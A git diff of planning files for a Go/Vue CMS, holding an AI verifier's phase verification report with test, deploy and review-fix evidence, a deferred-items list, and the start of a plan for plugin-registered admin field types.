+| 6 | Host is bumped | ✓ VERIFIED | Host HEAD 0b93ac2 equals origin/master. The journal gitlink is c60abc6, equal to sm-journal-plugin origin/main. The translate gitlink is 54cf93b, the vue app gitlink is ada03b2, and go.mod requires summercms v0.1.17. |
+| 7 | UAT is redeployed | ✓ VERIFIED | Server sha256 is `e5b0ad28…3af232` and `.prev` is `e1ba3587…148ceb` (the CR-01 hotfix). The Go and Nuxt processes started at 22:47:28 and 22:47:32 UTC. |
+| 8 | The staging smoke re-runs | ✓ VERIFIED | I re-ran it on the server myself (loopback resolve, GETs only): `smoke: ok (98 urls)` |
+
+**16.1-01 must_haves**
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 9 | belongsToMany search goes through EXISTS, with names taken from GORM's parsed relationship | ✓ VERIFIED | `relationSubquery` uses `gorm.Statement.Parse` and `Relationships.Relations`. TestListRelationSQL covers custom `joinForeignKey`/`joinReferences` pivot names. |
+| 10 | hasMany, hasOne and belongsTo searches are correlated EXISTS; there is no outer JOIN, so a record is counted once | ✓ VERIFIED | `applyListSearch` (query.go:476-490). TestListRelationSQL checks there is no JOIN outside the subqueries next to `user_id = 7` and `id IN (3)`. The Postgres test gives total 1 for a post matching through 2 tags. |
+| 11 | A to-many sort uses `string_agg` plus the PK tiebreak; a to-one sort keeps the join | ✓ VERIFIED | query.go:313-336; TestListRelationSQL covers both directions; the Postgres test gives [2 1] and [1 2] |
+| 12 | Polymorphic relations and unknown columns give 422, never 500 | ✓ VERIFIED | query.go:378-390 refuses via `rel.Polymorphic` and `PrimaryValue`; TestListRelationSQL has 5 refusal cases |
+| 13 | meta.enabledLocales lists the default locale first | ✓ VERIFIED | http.go:986-993, TestEnabledLocalesDefaultFirst(Smoke) |
+| 14 | FormatHTML keeps imported raw HTML and dangerous markup is not stored on any write path | ✓ VERIFIED (superseded mechanism) | The plan's "refuses" became "strips" under the accepted decision note `notes/journal-html-sanitizing-bluemonday.md`, the CR-01 fix in a3551f2, which is stronger than the planned regex gate. All three write paths call FormatHTML: posts.go:213, import_posts.go:185, posts_helpers.go:511/567. Translations go through FormatTranslation (0d00ec8). Duplicate attributes are handled in 5f47083. TestFormatHTMLKeepsRawHTML and TestFormatHTMLSanitizesUnsafeHTML pass. |
+| 15 | List params stay in the URL; stored per list; an empty query is never stored | ✓ VERIFIED | `listState.ts`. The key is now `summer-admin.list:<adminId>:<controller>` (the WR-03 fix in cd25af0 is stricter than the plan's key). `writeListState` removes the key on an empty query. |
+| 16 | Entry without params restores before the first request; URL params win; logout removes every stored query | ✓ VERIFIED | ListView.vue watch; `clearUser()` calls `setListStateOwner(null)`, which removes all list keys. `main.ts:27` sends `onUnauthorized` to `expireSession`. Covered by vitest. |
+| 17 | Commits staged by path, holding only this plan's files; the journal commit in its own repo | ✓ VERIFIED | `git show --name-only` for 06d75cb, bd8626e and 9cac45c matches the plan. The one extra file in 9cac45c (`list.smoke.test.ts`) is a documented deviation. 528d2d8 is in sm-journal-plugin. |
+| 18 | go vet clean; smoke tests, vitest, TestDocsTree and the dist check green | ✓ VERIFIED | Re-run here: `go vet ./...` ok, both repos' vet ok, TestDocsTree ok, `check-admin-dist.sh` printed "matches a fresh build", vitest 1171/1171 |
+
+**16.1-02 must_haves**
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 19 | An annotated tag containing every 16.1-01 commit is on origin | ✓ VERIFIED | v0.1.16 and v0.1.17 are both on origin (see #5) |
+| 20 | sm-journal-plugin main with the require is on origin; the host gitlink points at it; README and DEPLOY.md lost the re-save warning | ✓ VERIFIED | c60abc6 equals origin/main and requires v0.1.17. Host gitlink c60abc6. `grep -ci 'omitted\|re-sav'` gives 0 in both README.md and DEPLOY.md. |
+| 21 | UAT runs the build; sha256 matches; both programs run; `.prev` kept; smoke ok | ✓ VERIFIED | See #7 and #8. I could not compare against the local build byte for byte; the server hash matches the release record. |
+| 22 | After the restart, no SQLSTATE 42703 (and search returns rows) | ✓ VERIFIED (log + Postgres test) | 0 in 32 lines since 22:47:29. The human search on UAT is a human item. |
+| 23 | Posts 53 and 64 repaired: no placeholder, post 64 has its footer | ✓ VERIFIED | Read-only psql now prints `0:1`. The public page `/blog/ekstrakt-z-turkey-tail` renders `<footer class="author-footer" itemscope="" ...>`, and the footer CSS is in `entry.Djv1o0WC.css`. |
+| 24 | D-01 and D-03 checked on UAT by a human (end-of-phase check) | ? UNCERTAIN (human) | The human's report predates the re-saves and the v0.1.17 deploy, so it does not count as confirmation. Routed to Human Verification. |
+
+**16.1-03 must_haves**
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 25 | Every piece of 16.1 code has unit tests | ✓ VERIFIED | listState.test.ts, ListView/FormView/useAuth tests, TestListRelationSQL, TestEnabledLocalesDefaultFirst, FormatHTML tests, all passing |
+| 26 | Form back, cancel, save-and-close and delete land with the stored query, and the first request carries it | ✓ VERIFIED | FormView.test.ts D-01 block passes |
+| 27 | ListView entry logic: restore, URL wins, cleared controls, same-list navigation, 422, page clamp | ✓ VERIFIED | ListView.test.ts "list state entry logic (D-01)" passes. cd25af0 adds recovery from any failed restore (WR-02). |
+| 28 | listState helpers: prefix, malformed values dropped, empty query not stored, throwing storage, clear keeps the sidebar key | ✓ VERIFIED | listState.test.ts passes |
+| 29 | DryRun SQL matrix (custom pivot keys, self-reference, soft delete, polymorphic, bound and LIKE-escaped values, no outer JOIN, sorts) | ✓ VERIFIED | `--- PASS: TestListRelationSQL` |
+| 30 | enabledContentLocales cases | ✓ VERIFIED | `--- PASS: TestEnabledLocalesDefaultFirst` |
+| 31 | FormatHTML tests: imported HTML round-trips; no unsafe case survives | ✓ VERIFIED (superseded mechanism) | "Every unsafe case returns an error" became "every unsafe case is stripped" per the bluemonday decision. TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestCheckHTML and TestFormatTranslation pass. |
+| 32 | Postgres tests exist and pass on a Docker host | ✓ VERIFIED | Re-run here: TestListRelationSearchPostgres, TestListQueryContract, TestPostsAdminResaveKeepsHTML, TestJournalAPITranslatedContentHTML and TestJournalImportTranslatedContentHTML all PASS |
+| 33 | vet, vitest, TestDocsTree and dist green | ✓ VERIFIED | See #18 |
+
+**Score:** 32/33 truths verified (0 present-but-behavior-unverified; 1 uncertain, routed to a human)
+
+### CONTEXT decisions accounted for
+
+| Decision | Status | Where |
+|----------|--------|-------|
+| D-01 list state in the URL and localStorage, no server storage | ✓ | #2, #15, #16, #26-28; no migration, route or OpenAPI diff in 3ca6a0d..cd25af0 |
+| D-02 framework-level relation-search fix in cabana | ✓ | #1, #9-12, #17 |
+| D-03 content and excerpt shown without loss; re-save keeps HTML | ✓ code / ? UAT visual | #3, #4, #13, #14, #23; UAT visual is a human item |
+| D-04 tag, host bump, redeploy, smoke | ✓ (except the nginx vhost install) | #5-8, #19-21 |
+| D-05 three plans | ✓ | 01, 02 and 03 are all summarized |
+
+### Post-review remediation (16.1-REVIEW.md)
+
+| Finding | Status | Evidence |
+|---------|--------|----------|
+| CR-01 stored XSS | Fixed and deployed | sm-journal-plugin a3551f2 (bluemonday); the public layer uses sanitize-html (vue-journal-layer 5beb1c5, tag v0.1.1, pinned by vue app 27b3827) |
+| WR-01 "Data:" false refusal | Fixed | The regex gate is gone; TestFormatHTMLKeepsSchemeLikeText passes |
+| WR-02 restored query locks the list | Fixed | cd25af0: `loadList(restored)` forgets the query and loads the plain list once; there is a reset button |
+| WR-03 list state crosses admins | Fixed | cd25af0: per-admin keys; `clearUser` and `expireSession` clear them |
+| Audit W-1 / W-2 | Fixed | 0d00ec8 (FormatTranslation), 5f47083 (duplicate attributes); harness tests pass |
+| WR-04 relation SQL only DryRun-tested | Resolved in substance | TestListRelationSearchPostgres runs the EXISTS and string_agg SQL on real Postgres and passes |
+| WR-05 to-many sort order differs from display order | Open (warning) | `relatedSelectMany` still joins in Preload order (query.go:142, no ORDER BY). `docs/backend/lists-and-filters.md:62` still says the sort uses "the text the list shows". |
+| IN-01..03 | Open (info) | Not addressed |
+| Translate Secure cookie, app header hardening | Verified on UAT | `set-cookie: golem15.translate.locale=...; HttpOnly; Secure`; Nuxt at :3016 sends no X-Powered-By and no set-cookie |
+
+### Required Artifacts
+
+| Artifact | Expected | Status | Details |
+|----------|----------|--------|---------|
+| `modules/cabana/query.go` | EXISTS search and to-many sort from the parsed relationship | ✓ VERIFIED | Contains `Relationships.Relations`, `string_agg`, `EXISTS (SELECT 1 FROM`; called from ExecuteList (lines 121, 133) |
+| `modules/cabana/query_relation_test.go` | DryRun harness, smoke, matrix, Postgres test | ✓ VERIFIED | Its tests pass |
+| `modules/cabana/locale_order_test.go` | default-first tests | ✓ VERIFIED | Passes |
+| `../sm-journal-plugin/classes/format_html.go` | goldmark WithUnsafe behind a safety gate | ✓ VERIFIED | `WithUnsafe` plus the bluemonday `htmlPolicy` (supersedes the regex gate) |
+| `admin/src/state/listState.ts` | per-list browser storage | ✓ VERIFIED | Contains `summer-admin.list:`; imported by ListView.vue and useAuth.ts |
+| `../sm-grzybyfunkcjonalne-app/DEPLOY.md` | release and rollback procedure without the re-save warning | ✓ VERIFIED | Has `## Release`; the warning is removed |
+| `../sm-journal-plugin/go.mod` | require of the release tag | ✓ VERIFIED | `summercms v0.1.17`, with the replace to `../summercms.go` kept |
+| `admin/tests/state/listState.test.ts` | helper tests | ✓ VERIFIED | Passes |
+| `../sm-journal-plugin/posts_admin_smoke_test.go` | TestPostsAdminResaveKeepsHTML | ✓ VERIFIED | PASS on the Docker host |
+| `modules/boardwalk/dist/` | rebuilt SPA | ✓ VERIFIED | check-admin-dist.sh: matches a fresh build |
+
+### Key Link Verification
+
+| From | To | Via | Status |
+|------|----|-----|--------|
+| query.go applyListSearch/applyListOrder | GORM schema.Relationship | `stmt.Parse` + `Relationships.Relations[field]` | ✓ WIRED |
+| http.go enabledContentLocales | TranslationWriter.DefaultLocale | default moved to index 0 | ✓ WIRED |
+| ListView.vue watch | listState.ts read/writeListState | restore before the first request | ✓ WIRED |
+| sm-journal-plugin controllers/posts.go | classes.FormatHTML | content to content_html on admin save (line 213) | ✓ WIRED |
+| useAuth.ts clearUser / main.ts onUnauthorized | setListStateOwner(null) | logout and session expiry clear list keys | ✓ WIRED |
+| host plugins/golem15/journal gitlink | sm-journal-plugin origin/main | c60abc6 | ✓ WIRED |
+| host go.mod | ../summercms.go at the release tag | replace + require v0.1.17 | ✓ WIRED |
+| FormView.test.ts | ListView entry restore | `writeListState` then back navigation | ✓ WIRED |
+
+### Data-Flow Trace (Level 4)
+
+| Artifact | Data | Source | Real data | Status |
+|----------|------|--------|-----------|--------|
+| Posts list (search) | rows/meta | ExecuteList → GORM with EXISTS on the real pivot | Yes (Postgres test; UAT log clean) | ✓ FLOWING |
+| Post form ML fields | content/excerpt (pl) | hydrateMLRecord host columns under DefaultLocale; enabledLocales[0] = pl | Yes (UAT locales: pl default, en sort 1) | ✓ FLOWING (visual check is a human item) |
+| Public post 64 | content_html footer | UAT DB → Journal API → sanitize-html → v-html | Yes (footer rendered on the SSR page) | ✓ FLOWING |
+
+### Behavioral Spot-Checks
+
+| Behavior | Command | Result | Status |
+|----------|---------|--------|--------|
+| Relation SQL and locale order (pure) | `go test -run '^(TestListRelationSearchSmoke\|TestListRelationSQL\|TestEnabledLocalesDefaultFirst\|TestEnabledLocalesDefaultFirstSmoke)$' ./modules/cabana` | 4 PASS lines | ✓ PASS |
+| Journal classes | `go -C ../sm-journal-plugin test -v ./classes/` | 9 PASS, ok | ✓ PASS |
+| Relation search on real Postgres | Docker sudo path, `-run TestListRelationSearchPostgres\|TestListQueryContract` | PASS, PASS | ✓ PASS |
+| Admin re-save and translations keep or sanitize HTML | Docker sudo path, sm-journal-plugin named tests | 3 PASS | ✓ PASS |
+| List state vitest | `npm --prefix admin test` | 76 files, 1171 tests passed | ✓ PASS |
+| Dist drift | `bash scripts/check-admin-dist.sh` | matches a fresh build | ✓ PASS |
+| Docs | `go test ./cmd/summer -run TestDocsTree` | ok | ✓ PASS |
+| Browser storage confined | grep in admin/src outside useSidebar.ts and listState.ts | empty | ✓ PASS |
+
+### Probe Execution
+
+| Probe | Command | Result | Status |
+|-------|---------|--------|--------|
+| UAT on-server smoke | `CURL_HOME=$C scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` (via ssh, loopback resolve) | `smoke: ok (98 urls)` | PASS |
+| UAT data repair | read-only psql: placeholder count : post-64 footer | `0:1` | PASS |
+| UAT log | 42703 count since 2026/10/09 22:47:29 | 0 (32 lines) | PASS |
+| UAT binary | sha256sum bin/grzybyfunkcjonalne | e5b0ad28…3af232 | PASS |
+| Hardened vhost installed | grep CSP-Report-Only in /etc/nginx/sites-enabled/uat.grzybyfunkcjonalne.pl | 0 (uploaded copy: 1) | NOT INSTALLED (human item, needs root) |
+
+### Requirements Coverage
+
+The phase has no REQUIREMENTS.md IDs (Requirements: TBD), and REQUIREMENTS.md maps nothing to Phase 16.1, so no requirement is orphaned. The plans' `requirements:` fields name CONTEXT decisions D-01..D-04, which are covered above.
+
+### Prohibitions (judgment tier, verdicts not authoritative; flagged as unverified-prohibition, human review recommended)
+
+| # | Prohibition | LLM-judge verdict | Basis |
+|---|-------------|-------------------|-------|
+| 1 | Relation fix not Journal-specific; no consuming-application names in framework code or docs | not violated | The builder is generic over GORM relationships; grep for app names in the touched framework files is empty; TestDocsTree ok |
+| 2 | No server-side list state (table, migration, route) | not violated | No migration, route or API diff in summercms.go 3ca6a0d..cd25af0 |
+| 3 | Journal API content/content_html shapes unchanged | not violated | Only stored values change (sanitized); README says shapes and codes are unchanged |
+| 4 | cabana.RenderMarkdown stays safe-mode | not violated | `modules/cabana/field_markdown.go` has no WithUnsafe |
+| 5 | No write SQL on UAT; only human re-saves of 53/64 | not violated (from records) | Records show read-only psql only; cannot be proven after the fact |
+| 6 | Live Winter site, vhost, php-fpm and PHP DB untouched | not violated (from records) | The vhost was not installed; there is no evidence of live-site edits |
+| 7 | No credentials requested, printed or committed | not violated (from records) | SUMMARYs hold no secrets |
+| 8 | Tests touch no UAT, network or shared DB | not violated | DryRun on DSN port 1; testcontainers for Postgres |
+| 9 | Tests not weakened | not violated | Refuse cases became strip cases under the accepted bluemonday decision, and the payload set grew to 35 |
+
+### Anti-Patterns Found
+
+| File | Line | Pattern | Severity | Impact |
+|------|------|---------|----------|--------|
+| (phase files) | - | TBD/FIXME/XXX/TODO/HACK | none found | - |
+| `docs/backend/lists-and-filters.md` | 62 | Docs claim a to-many sort uses "the text the list shows" but the display order is Preload order (WR-05) | ⚠️ Warning | A list sorted by categories can look out of order; docs inaccurate |
+| `../sm-grzybyfunkcjonalne-app/sm-grzybyfunkcjonalne-app` | - | 46 MB untracked, not-ignored binary in the host repo root (built 2026-10-10 00:50 local) | ℹ️ Info | Could be committed by accident; not part of any commit |
+| `.planning/phases/16.2-.../16.2-05-PLAN.md` (via ROADMAP line 1014) | - | Plans to cut "summercms tag v0.1.17", which 16.1 already used | ℹ️ Info | 16.2's release must pick the next free tag (v0.1.18) |
+| UAT Journal API | - | With no locale given (and with Accept-Language pl-PL), the API sets `golem15.translate.locale=en` although the default is pl and en has sort_order 1 | ℹ️ Info | Outside 16.1 scope; may be pre-existing translate behavior; worth a look |
+| `16.1-VALIDATION.md`, `16.1-SECURITY.md` | - | Still say "Docker-host suites pending" / sign-off unchecked | ℹ️ Info | Stale bookkeeping: the Docker-host suites have now passed |
+
+### Human Verification Required
+
+#### 1. Install the hardened staging vhost (root)
+**Test:** Install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (host fc10094, 387d0f4) as the uat vhost, then run `nginx -t` and reload.
+**Expected:** The security headers and CSP Report-Only appear on UAT responses, the `/gfadmin` auth_basic exemption still holds, and the smoke still passes.
+**Why human:** It needs root on the server. Today the enabled vhost does not have CSP-RO.
+
+#### 2. UAT posts list search
+**Test:** Search "cordyceps" in `/gfadmin/golem15/journal/posts`.
+**Expected:** Rows appear and no SQLSTATE 42703 shows up in the log.
+**Why human:** It needs basic auth and an admin login. The Go log does not record successful queries.
+
+#### 3. UAT list state round trip (D-01)
+**Test:** Set a sort and a category filter. Go open post → back, then save-and-close, then rail navigation. Paste the URL in a new tab. Log out and back in.
+**Expected:** State is kept and visible in the URL. After logout and login the list opens unfiltered.
+**Why human:** It is an interactive flow. The earlier human report predates the v0.1.17 deploy.
+
+#### 4. UAT post form locales and fields (D-03)
+**Test:** Open an imported post.
+**Expected:** `pl` is first, and title, slug, content and excerpt are filled.
+**Why human:** It is a visual check on real data.
+
+#### 5. Judgment-tier prohibitions
+**Test:** Review the nine verdicts above.
+**Expected:** Accept or overturn each one.
+**Why human:** The verifier's verdicts are not authoritative.
+
+### Gaps Summary
+
+There are no blocking gaps. Every roadmap criterion and plan must-have I could check automatically holds in the code, the tests (including the Docker-backed Postgres suites, which I re-ran), the tags and pushes, and the deployed UAT server (binary hash, smoke, log, SQL, public headers, post-64 footer). Two plan wordings were superseded by stricter post-review fixes, and both are recorded in an accepted decision note or a commit:
+- FormatHTML now strips unsafe markup with bluemonday instead of refusing it with a regex.
+- List-state keys are now scoped per admin.
+
+Still open:
+- **Human items:** the root-only nginx vhost install, and the three UAT browser checks.
+- **WR-05:** a non-blocking warning. The docs sentence on to-many sort order is inaccurate.
+
+---
+
+_Verified: 2026-10-09T23:05:00Z_
+_Verifier: Claude (msd-verifier)_

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/COVERAGE.md

@@ -0,0 +1 @@
+No external API integration: internal admin list, form locale and HTML renderer fixes; the Journal API is named only to keep its response shapes unchanged.

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/deferred-items.md

@@ -0,0 +1,13 @@
+# Phase 16.1 deferred items
+
+Out-of-scope findings logged during execution. They were not fixed here.
+
+## From 16.1-01
+
+- `scripts/check-phase10.sh --hygiene` refuses 5 findings, all in files this plan does not touch. Because the clean scratch copy fails, `--self-test` also refuses ("self-test hygiene rejected the clean scratch copy"):
+  - `admin/src/api/files.ts:150`: `new XMLHttpRequest()` outside `admin/src/api/client.ts`.
+  - `admin/src/api/files.ts`: an unexpected file in `admin/src/api`.
+  - `admin/src/components/form/fields/FileCaptionModal.vue`, `admin/src/components/form/fields/MLField.vue` and `admin/src/components/form/mlLocale.ts`: not imported by any test.
+
+  The browser-storage rule that plan 01 changed passes: `listState.ts` is allowed, and `listState.ts` is imported by `admin/tests/list/ListView.test.ts`.
+- Each Docker-backed test in `modules/cabana` fails on this machine with "permission denied" on the Docker socket (217 failures in `go test ./modules/cabana`, each reporting a Docker error). This is the known environment limit; run that suite on a machine with Docker before the plan 02 tag.

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/.gitkeep

@@ -0,0 +1 @@
+

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-PLAN.md

@@ -0,0 +1,548 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 01
+type: execute
+wave: 1
+depends_on: []
+files_modified:
+  - modules/pact/capabilities.go
+  - modules/pact/README.md
+  - modules/cabana/field_type.go
+  - modules/cabana/field_type_upload.go
+  - modules/cabana/field_type_smoke_test.go
+  - modules/cabana/form_schema.go
+  - modules/cabana/schema_types.go
+  - modules/cabana/registry.go
+  - modules/cabana/http.go
+  - modules/cabana/crud.go
+  - modules/cabana/field_ml.go
+  - modules/cabana/tx_context.go
+  - modules/cabana/list_schema.go
+  - modules/cabana/settings.go
+  - modules/cabana/relation_form.go
+  - modules/cabana/extension.go
+  - modules/cabana/relation_field.go
+  - modules/cabana/admin_openapi.go
+  - modules/cabana/security_coverage_test.go
+  - modules/cabana/README.md
+  - admin/openapi/admin.json
+  - admin/src/api/schema.d.ts
+  - admin/src/api/types.ts
+  - admin/src/app/fieldTypes.ts
+  - admin/src/app/pluginAssets.ts
+  - admin/src/main.ts
+  - admin/src/views/LoginView.vue
+  - admin/src/views/FormView.vue
+  - admin/src/views/ListView.vue
+  - admin/src/components/form/registry.ts
+  - admin/src/components/form/FieldRenderer.vue
+  - admin/src/components/form/PreviewField.vue
+  - admin/src/components/form/FormField.vue
+  - admin/src/components/form/FormGrid.vue
+  - admin/src/components/form/formState.ts
+  - admin/src/components/form/mlLocale.ts
+  - admin/src/components/form/formContext.ts
+  - admin/src/components/form/fields/PluginField.vue
+  - admin/src/components/form/fields/MLPluginField.vue
+  - admin/src/components/relation/RelationChildModal.vue
+  - admin/tests/form/PluginField.test.ts
+  - admin/tests/form/FormField.test.ts
+  - admin/tests/form/formState.test.ts
+  - modules/boardwalk/dist
+  - docs/backend/field-types.md
+  - docs/backend/forms.md
+autonomous: false
+requirements: [D-03, D-06, D-10, D-11, D-12, D-13, D-14, D-15, D-18]
+estimate:
+  tokens: 140000
+  raw_tokens: 140000
+  tasks: 4
+  confidence: low
+must_haves:
+  truths:
+    - "D-11: a plugin registers a value-bearing admin field type under a short alias (pact.HasFormFieldTypes); boot fails with a message naming both owners when two plugins claim one alias, and fails when an alias equals a cabana core type (text, markdown, mlmarkdown, widget, partial and the rest of formFieldTypes)."
+    - "D-12.1: a plugin-typed field accepts the general field keys plus the type's own Options keys; any other key, and any CheckOptions error, fails boot naming the field and the type."
+    - "D-12.2 and D-10: a save runs the type's Decode inside the save transaction after the record is loaded, for the host value and for every non-default locale value of a translatable type, and stores the returned pact.FormFieldDecoded Value; a pact.FormFieldError is a 422 validation_failed on that field and nothing is written; any other plugin error is an opaque 500 without the plugin's text."
+    - "D-10 (framework half, amended 2026-10-10): a Decode may return pact.FormFieldNotice values next to the value it stores (for example what a sanitizer removed); cabana localizes them in the request locale and answers the create or update with meta.notices [{field, locale, message}]; a save whose Decode calls returned no notice answers exactly today's JSON (no notices key); the admin SPA shows each notice under its field and in the saved toast, and reloads the stored value from the response into the form and the element."
+    - "D-12.3: Show and the save response serve each plugin field through the type's Load (per locale for a translatable type)."
+    - "D-12.4: a list column typed with a plugin alias shows the type's ListValue string."
+    - "D-03 (server half): on update, a submitted value equal to the value the form was served for that field and locale is not decoded and not written, neither to the host column nor as a translation."
+    - "D-14 and D-06: a translatable plugin type exchanges a locale to string map and is stored through cabana's existing ML lift, translation writer and hydrate path; a plugin implements no locale storage."
+    - "Companion writes: Form hooks read the values a save actually wrote, per field and locale, through cabana.FieldWritesFromContext."
+    - "D-13: after login the admin SPA loads every registered field type's scripts once and its stylesheets globally (never disabled on navigation); a field with an element renders through PluginField (MLPluginField when translatable) in any controller's form, binds the element's value property and takes summer-change events as the new form value."
+    - "D-18 (framework half): POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is owned by cabana (backend guard, X-Requested-With, controller permissions, field context, FormExtendQuery record scope, http.body_limits.upload_bytes) and answers 201 {data:{url}} from the type's Upload; the SPA performs the upload for the element on summer-upload and answers with summer-upload-result."
+    - "D-15: the form schema carries plugin fields generically (element, translatable, typeOptions); admin/openapi/admin.json and admin/src/api/schema.d.ts are regenerated, modules/boardwalk/dist is rebuilt, and the pact and cabana READMEs plus docs/backend/field-types.md describe the API with neutral names."
+  artifacts:
+    - path: "modules/pact/capabilities.go"
+      provides: "FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError, HasFormFieldTypes"
+      contains: "HasFormFieldTypes"
+    - path: "modules/cabana/relation_field.go"
+      provides: "RecordMeta.Notices and FieldNotice (the save response's meta.notices)"
+      contains: "notices,omitempty"
+    - path: "modules/cabana/field_type.go"
+      provides: "per-boot field type registry, compile checks, decode/skip/load/list runner"
+      contains: "compileFieldTypes"
+    - path: "modules/cabana/field_type_upload.go"
+      provides: "the cabana-owned field upload route"
+      contains: "fieldUpload"
+    - path: "modules/cabana/tx_context.go"
+      provides: "FieldWrite, FieldWritesFromContext, WithFieldWrites"
+      contains: "FieldWritesFromContext"
+    - path: "admin/src/components/form/fields/PluginField.vue"
+      provides: "generic plugin element host"
+      contains: "summer-change"
+    - path: "admin/src/app/fieldTypes.ts"
+      provides: "global field-type asset loader"
+      contains: "loadFieldTypes"
+    - path: "docs/backend/field-types.md"
+      provides: "plugin field type guide and element contract"
+      contains: "HasFormFieldTypes"
+  key_links:
+    - from: "modules/cabana/http.go Activate"
+      to: "modules/cabana/registry.go compileRegistry"
+      via: "the registry built by compileFieldTypes(plugins) passed as a parameter (no package-level registry)"
+      pattern: "compileFieldTypes"
+    - from: "modules/cabana/crud.go save"
+      to: "pact.FormFieldType Decode and Load"
+      via: "decodePluginFields between loadRecord and lagoon.Fill inside the save transaction"
+      pattern: "decodePluginFields"
+    - from: "modules/cabana/crud.go save"
+      to: "RecordResult.Meta.Notices (JSON meta.notices)"
+      via: "localizeNotices over the FormFieldDecoded notices, after the transaction commits"
+      pattern: "localizeNotices"
+    - from: "admin/src/views/FormView.vue save"
+      to: "FormField notice line and the saved toast"
+      via: "noticeLines(result.data.meta.notices) passed through FormGrid like errors"
+      pattern: "noticeLines"
+    - from: "admin/src/main.ts and admin/src/views/LoginView.vue"
+      to: "GET {api}/field-types"
+      via: "loadFieldTypes next to loadNavigation"
+      pattern: "loadFieldTypes"
+    - from: "admin/src/components/form/fields/PluginField.vue"
+      to: "POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload"
+      via: "summer-upload event handled by the SPA with the admin session"
+      pattern: "summer-upload"
+  prohibitions:
+    - statement: "No package-level mutable field type registry in cabana: the registry is built per Activate and passed down."
+      status: unresolved
+      verification: judgment
+    - statement: "The element never receives a token, a cookie, a function or a Vue instance; uploads go through the SPA and the cabana route only."
+      status: unresolved
+      verification: judgment
+    - statement: "Existing core field types, the type: widget contract and the public behaviour of CompileForm do not change."
+      status: unresolved
+      verification: judgment
+    - statement: "Framework READMEs and docs never name a consuming application or plugin; examples use blog or acme."
+      status: unresolved
+      verification: judgment
+---
+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (user decision 1, plan 01): the framework half in summercms.go. A plugin registers a value-bearing field type through `pact`; cabana compiles, decodes, loads, lists, uploads and stores it (ML included); the admin SPA hosts its element globally. Framework first: plans 02 and 03 build the Journal editor on this API.
+
+## Revision 2026-10-10 (CONTEXT D-10 amended)
+
+D-10 now strips instead of refusing, and an admin save must tell the admin what was removed. That report is a generic field-type capability, not Journal code in cabana: `Decode` returns `pact.FormFieldDecoded{Value, Notices}`, cabana localizes the notices and answers the save with `meta.notices`, and the SPA shows them and reloads the stored value. `pact.FormFieldError` (422) stays for values a type cannot accept at all, such as a non-string. The release tag named in Task 1 is now v0.1.18 or the next free v0.1.x, because 16.1 already tagged v0.1.17. Everything else in this plan is unchanged.
+
+RESEARCH and PATTERNS were written before 16.1 replaced the Journal regex gate with bluemonday and before D-10 was amended. Where they say "CheckHTML refuses" or "no sanitizer", this plan's text wins.
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". No SPEC and no edge-probe predicates were generated this run. CONTEXT D-01 to D-19, the three folded todos and RESEARCH Patterns 1-9 are the source of truth. Prohibitions above were recalled in-prompt and are descriptor-less (flagged-unverified).
+
+## Assumptions (explicit)
+
+- A5 (RESEARCH): settings forms and relation child or pivot forms refuse plugin field types at boot ("supported in controller forms only"), the same restriction cabana already documents for virtual fields and FormRules. D-13 targets controller forms.
+- Untouched detection (Claude's discretion, D-03): both layers. cabana skips a submitted value whose canonical JSON equals the served value; the element (plan 02) never re-serializes an untouched document.
+- Field-type asset discovery (Claude's discretion, research Open Question 2): a dedicated `GET {api}/field-types` route, so the navigation contract stays unchanged.
+- A translatable plugin type exchanges strings per locale (the TranslationWriter API is string-based and MLField sends only strings); a non-translatable type exchanges any JSON value.
+
+## Plan sizing note
+
+The locked plan count (6) puts the whole framework half in this plan. It has four tasks: one decision checkpoint (no implementation context) and three implementation tasks. The estimate exceeds the usual budget; it is advisory.
+
+## Source coverage audit (phase-wide)
+
+| Source | ID | Item | Plan | Status |
+|---|---|---|---|---|
+| GOAL | — | Plugins register field types; Journal Blog Editor edits imported HTML losslessly | 01-06 | COVERED |
+| REQ | — | none mapped (ROADMAP "Requirements: TBD") | — | n/a |
+| CONTEXT | D-01 | WYSIWYG + source toggle on TipTap | 02 | COVERED |
+| CONTEXT | D-02 | HTML in content and content_html on admin save, both sanitized | 03 | COVERED |
+| CONTEXT | D-03 | Byte-preserving unless edited | 01 (server skip), 02 (element), 03, 05 (UAT), 06 | COVERED |
+| CONTEXT | D-04 | Text, images, tables, embeds, raw HTML block (raw block goes through the sanitizer) | 02, 03 | COVERED |
+| CONTEXT | D-05 | Embed placeholder; both policies extended only for the editor's own output, pinned by a corpus test; iframes still refused | 02 (corpus), 03 (Go policy), 04 (layer mirror), 06 | COVERED |
+| CONTEXT | D-06 | Translatable like mlmarkdown | 01, 03 | COVERED |
+| CONTEXT | D-07 | Markdown post opens with content_html | 03 | COVERED |
+| CONTEXT | D-08 | mlblogeditor replaces mlmarkdown for post content | 03 | COVERED |
+| CONTEXT | D-09 | Public write API unchanged | 03 | COVERED |
+| CONTEXT | D-10 | Strip, never refuse, on every locale for posts and categories; the save names what was removed; no goldmark on the admin path | 01 (notices), 03 (Journal strip), 05 (UAT), 06 | COVERED |
+| CONTEXT | D-11 | Short global alias, collision fails boot | 01 | COVERED |
+| CONTEXT | D-12 | pact interface: options, decode, load, list | 01 | COVERED |
+| CONTEXT | D-13 | Element loads globally, value contract, --c-* only | 01, 02 | COVERED |
